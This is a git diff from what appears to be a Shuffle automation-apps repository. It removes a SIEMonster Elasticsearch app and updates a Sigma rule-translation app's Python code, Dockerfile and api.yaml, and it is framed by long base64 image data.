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 diff --git a/siemonster/1.0.0/requirements.txt b/siemonster/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/siemonster/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/siemonster/1.0.0/src/app.py b/siemonster/1.0.0/src/app.py deleted file mode 100644 index 739630d3..00000000 --- a/siemonster/1.0.0/src/app.py +++ /dev/null @@ -1,42 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Siemonster(AppBase): - __version__ = "1.0.0" - app_name = "siemonster" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def ping(self, username, password, url): - message = f"SIEMonster welcomes from {socket.gethostname()} in workflow {self.current_execution_id}!" - - # This logs to the docker logs - self.logger.info(message) - - return message - - def es_get_cluster_health(self, username, password, url): - return requests.get(url + "/_cluster/health", auth=(username, password), verify=False).text - - def es_query(self, method, username, password, url, path, body): - headers = { - "Accept": "application/json", - "Content-type": "application/json", - } - return requests.request(method, url + path, auth=(username, password), data=body, headers=headers, verify=False).text - -if __name__ == "__main__": - Siemonster.run() diff --git a/sigma/1.0.0/requirements.txt b/sigma/1.0.0/requirements.txt index b49a2451..2d01f792 100644 --- a/sigma/1.0.0/requirements.txt +++ b/sigma/1.0.0/requirements.txt @@ -1,2 +1,2 @@ requests==2.25.1 -sigmatools==0.20 +sigmatools==0.23.1 diff --git a/sigma/1.0.0/src/app.py b/sigma/1.0.0/src/app.py index e0b28bf5..ddce0431 100644 --- a/sigma/1.0.0/src/app.py +++ b/sigma/1.0.0/src/app.py @@ -19,7 +19,7 @@ # and automatically get the right rules set up with your tools :O class Sigma(AppBase): __version__ = "1.0.0" - app_name = "sigma" # this needs to match "name" in api.yaml + app_name = "Sigma" # this needs to match "name" in api.yaml def __init__(self, redis, logger, console_logger=None): """ @@ -30,8 +30,8 @@ def __init__(self, redis, logger, console_logger=None): """ super().__init__(redis, logger, console_logger) - def get_searches(self, engine, backend, shuffle_namespace): - files = self.get_file_namespace(shuffle_namespace) + def get_searches(self, engine, backend, shuffle_category): + files = self.get_file_namespace(shuffle_category) self.logger.info(f"Files: {files}") # This part should be in the SDK @@ -51,7 +51,7 @@ def get_searches(self, engine, backend, shuffle_namespace): self.logger.info(f"Dir: {os.listdir(basedir)}") - rule = shuffle_namespace + rule = shuffle_category #filename = "file.yaml" #with open(filename, "w+") as tmp: # tmp.write(rule) diff --git a/unsupported/nlp/1.0.0/Dockerfile b/sigma/1.1.0/Dockerfile similarity index 64% rename from unsupported/nlp/1.0.0/Dockerfile rename to sigma/1.1.0/Dockerfile index 91ea6061..9c0fb44d 100644 --- a/unsupported/nlp/1.0.0/Dockerfile +++ b/sigma/1.1.0/Dockerfile @@ -2,8 +2,9 @@ FROM frikky/shuffle:app_sdk as base # We're going to stage away all of the bloat from the build tools so lets create a builder stage -# Install all alpine build tools needed for our pip installs FROM base as builder + +# Install all alpine build tools needed for our pip installs RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev # Install all of our pip packages in a single directory that we can copy to our base image later @@ -11,21 +12,23 @@ RUN mkdir /install WORKDIR /install #COPY requirements.txt /requirements.txt #RUN pip install --prefix="/install" -r /requirements.txt -RUN pip install tika==1.24 -RUN pip install requests==2.25.1 -RUN pip install spacy==2.3.5 -RUN pip install cyberspacy==1.1.1 +RUN pip3 install requests==2.31.0 +RUN pip3 install sigma-cli +RUN pip3 install certifi==2024.2.2 +RUN sigma plugin install splunk elasticsearch carbonblack sentinelone sqlite uberagent +#RUN sigma plugin install lucene +#RUN sigma plugin install eql # Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local +#FROM base +#COPY --from=builder /install /usr/local COPY src /app +# Fix python3.3 > issues +#RUN sed -i 's/from collections import Iterable/from collections.abc import Iterable/g' /usr/local/lib/python3.10/site-packages/sigma/config/collection.py + # Install any binary dependencies needed in our final image # RUN apk --no-cache add --update my_binary_dependency -RUN apk add --no-cache libstdc++ openjdk8 -RUN python -m spacy download en_core_web_lg -RUN python3 -c 'import tika; tika.initVM(); tika.parser.from_file('/bin/bash')' # Finally, lets run our app! WORKDIR /app diff --git a/sigma/1.1.0/api.yaml b/sigma/1.1.0/api.yaml new file mode 100644 index 00000000..e47e3a38 --- /dev/null +++ b/sigma/1.1.0/api.yaml @@ -0,0 +1,56 @@ +app_version: 1.1.0 +name: Sigma +description: A way to translate SIEM queries with Shuffle +contact_info: + name: "@frikkylikeme" + url: https://shuffler.io + email: frikky@shuffler.io +tags: + - Testing +categories: + - SIEM +actions: + - name: get_searches + description: convert yaml file to SIEM rule + parameters: + - name: backend + description: The engine to translate to + required: true + options: + - carbon_black + - eql + - lucene + - sentinel_one + - sqlite + - splunk + - uberagent + example: 'kibana' + schema: + type: string + - name: format + description: The format to use for the output. See github for more information + required: false + options: + - default + - conf + - data_model + - dsl_lucene + - eqlapi + - json + - kibana_ndjson + - savedsearches + - siem_rule + - siem_rule_ndjson + - zicolite + schema: + type: string + - name: shuffle_category + description: The Shuffle + required: true + multiline: false + schema: + type: string + returns: + schema: + type: string +large_image: data:image/jpg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/4gKgSUNDX1BST0ZJTEUAAQEAAAKQbGNtcwQwAABtbnRyUkdCIFhZWiAH5AAFAAUADgA6ADFhY3NwQVBQTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLWxjbXMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtkZXNjAAABCAAAADhjcHJ0AAABQAAAAE53dHB0AAABkAAAABRjaGFkAAABpAAAACxyWFlaAAAB0AAAABRiWFlaAAAB5AAAABRnWFlaAAAB+AAAABRyVFJDAAACDAAAACBnVFJDAAACLAAAACBiVFJDAAACTAAAACBjaHJtAAACbAAAACRtbHVjAAAAAAAAAAEAAAAMZW5VUwAAABwAAAAcAHMAUgBHAEIAIABiAHUAaQBsAHQALQBpAG4AAG1sdWMAAAAAAAAAAQAAAAxlblVTAAAAMgAAABwATgBvACAAYwBvAHAAeQByAGkAZwBoAHQALAAgAHUAcwBlACAAZgByAGUAZQBsAHkAAAAAWFlaIAAAAAAAAPbWAAEAAAAA0y1zZjMyAAAAAAABDEoAAAXj///zKgAAB5sAAP2H///7ov///aMAAAPYAADAlFhZWiAAAAAAAABvlAAAOO4AAAOQWFlaIAAAAAAAACSdAAAPgwAAtr5YWVogAAAAAAAAYqUAALeQAAAY3nBhcmEAAAAAAAMAAAACZmYAAPKnAAANWQAAE9AAAApbcGFyYQAAAAAAAwAAAAJmZgAA8qcAAA1ZAAAT0AAACltwYXJhAAAAAAADAAAAAmZmAADypwAADVkAABPQAAAKW2Nocm0AAAAAAAMAAAAAo9cAAFR7AABMzQAAmZoAACZmAAAPXP/bAEMABQMEBAQDBQQEBAUFBQYHDAgHBwcHDwsLCQwRDxISEQ8RERMWHBcTFBoVEREYIRgaHR0fHx8TFyIkIh4kHB4fHv/bAEMBBQUFBwYHDggIDh4UERQeHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHv/AABEIAK4ArgMBIgACEQEDEQH/xAAcAAEAAQUBAQAAAAAAAAAAAAAABwEEBQYIAgP/xABDEAABAwMBBAUHCQcDBQAAAAABAAIDBAURBgcSITFBUWFxgRMiMpGhsdEUFyNCUlNikpQVJDNDVHLBFpPCJXOCovD/xAAcAQEAAgMBAQEAAAAAAAAAAAAABQYCBAcDAQj/xAA4EQABAwMABwYEBQMFAAAAAAABAAIDBAURBhIhMUFRoSJhcZHB4ROBsdEVFjJCUhQjMyRjovDx/9oADAMBAAIRAxEAPwDstERERERERERERERERERERERERERERERERERERERERERERERERERERERERFQuwtU1Rr2w2MuhdMaurbzgp8OIP4nch7+xekUL5nasYyVr1NXBSs+JM4NHetr3gm8MZUH3rafqCsJZQtgt8XRuN33/AJjw9i1SvvV3rzmsulZP2Pmdj1clNQ6PzvGXkDqqjVacUcZxC0v6D79F0tJV0sZw+oiaepzwFWOpp5P4c8b/AO14K5ZPHnx71VpLSC0lpHUcLZ/Ln+5091H/AJ+Of8H/AC9l1TvBMhc0W/UF8t7gaO7VsWPqiUlvqOQtusm1O80zmsulNDXx9L2jycns4H1Bak1gqGbWEO6KTpNN6GU4laWdR029FNSLXdL6wsd/aI6Op3KjHGnm82TwHT4LYd5Q0kb43arxgq2wVEVQwSRODgeIVURFgvZERERERERERERERERFbXOupbbRS1lbOyGCJu897jwH/wB1KtwrKegpJauqlbFDEwve93IAKAde6sq9TXAnLoqCJ30EH/J34vcpC3299Y/A2NG8qCvt8itUOTtedw9T3LK642h194fJSWt0lFQHgSDiWUdp+qOweK0VEV3p6aOmZqRjC49XXCor5TLO7J6DwCIiL3WkiIiIiIiIqtc5jg9ji1zTkEHBB6wVJGhNpM9K9lDqF7p4CcNq+b2f3faHbz71GyLWqqOKqZqyD7hSFuulTbpfiQOxzHA+K6lgqI54mSwvZJG8Ate05DgekFfZQTs01pJYKptBXyF1rld08fIOP1h+HrHipzikEjGvY4Oa4ZBHIjrVHrqJ9JJqu3cCux2W8w3SD4jNjhvHL25L2iItJTCIiIiIiIiKjuSqsJrm8Cxaaq7iCPKtbuQjrkdwb8fBZxsdI4MbvK8p5mQROlecADJ+SjPbHqd1dcDYaSX92pnZqCD6cn2e5vv7lHa9SPfI90kji57iXOceZJ5lI2PkkbGxrnPccNa0ZJPUAuhUlMylhDG8Fwm5V8txqnTP3ncOQ4BeU6cdakTSmzCvrmsqb3K6hhPEQswZSO3ob7SpKsWlrFZgPkFthbIB/FeN+Q/+R4+pR9VfIIThnaPdu81OW7Q+tqwHydhvfv8AL74UDW/Td/uADqOz1srTyd5Itb6zgLMQbOdWyc7fFF/3Khg9xKn7A6kwOpRD9IagnstAVoh0Fomj+49xPyHooI+bLVf3FH+pHwT5stV/cUf6kfBTuiw/H6ru8l7/AJItvN3n7KCPmy1X9xR/qR8E+bLVf3FH+pHwU7on4/Vd3kn5ItvN3n7KCPmy1X9xR/qR8E+bLVf9PR/qR8FO6s7tVNorZV1jjhsEL5Dns